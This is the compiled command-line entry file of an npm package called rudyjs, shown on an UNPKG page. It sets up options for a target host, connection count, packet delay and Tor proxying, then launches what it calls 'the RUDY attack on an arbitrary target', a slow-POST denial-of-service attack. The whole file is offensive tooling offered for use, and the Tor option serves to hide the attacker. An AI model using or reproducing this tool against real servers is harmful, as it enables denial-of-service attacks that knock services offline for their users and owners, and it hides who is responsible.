UNPKG

rudyjs

Version:
62 lines (61 loc) 2.5 kB
#!/usr/bin/env node "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); const program = require("commander"); const ascii_1 = require("./utils/ascii"); const error_model_1 = require("./models/error.model"); const rudy_service_1 = require("./service/rudy.service"); const logger_1 = require("./utils/logger"); const generatePayload_1 = require("./scripts/generatePayload"); const network_service_1 = require("./service/network.service"); const logCategory = "RUDY_CLI"; program .version("1.0.0") .description("Processes the RUDY attack on an arbitrary target.") .option("-t, --target <string>", "Hostname of the target to focus") .option("-l, --length <number>", "Length of the TCP Packet (Default : Large Number)") .option("-n, --numberOfConnections <number>", "Amount of clients that are going to contact the server. (Default: 500)") .option("-m, --method <string>", "HTTP Request Method. (Default: POST)") .option("-d, --delay <number>", "Wait <seconds> before sending another TCP Packet. (Default: 2)") .option("-v, --verbose", "Enable Verbose Logs (Default: false)") .option("-p, --useTor", "Use Tor Proxy. (Default: false)") .option("-u, --torUrl <string>", "Custom Tor Server Url (Default: 127.0.0.1)") .option("-o, --torPort <number>", "Custom Tor Server Port Number (Default: 9050)"); program .command("generatePayload <charCount>") .action((charCount, cmd) => { const script = new generatePayload_1.default(charCount).run(); }); program .parse(process.argv); var rudyService = null; ascii_1.default.showInfo() .then(() => { if (program.target == null) { throw error_model_1.TargetNotFound; } if (program.verbose) { logger_1.default.setLogLevel(logger_1.LogLevel.VERBOSE); } if (program.torUrl != null || program.torPort != null) { network_service_1.default.setTorAddress({ url: program.torUrl, port: program.torPort }); } const config = { target: program.target, method: program.method, packet_len: program.length, maxConnections: program.numberOfConnections, delay: program.delay, shouldUseTor: program.useTor, }; return config; }) .then((config) => { rudyService = new rudy_service_1.default(config); rudyService.attack(); }) .catch((error) => { logger_1.default.error({ message: error.message, category: error.category }); program.help(); process.exit(); });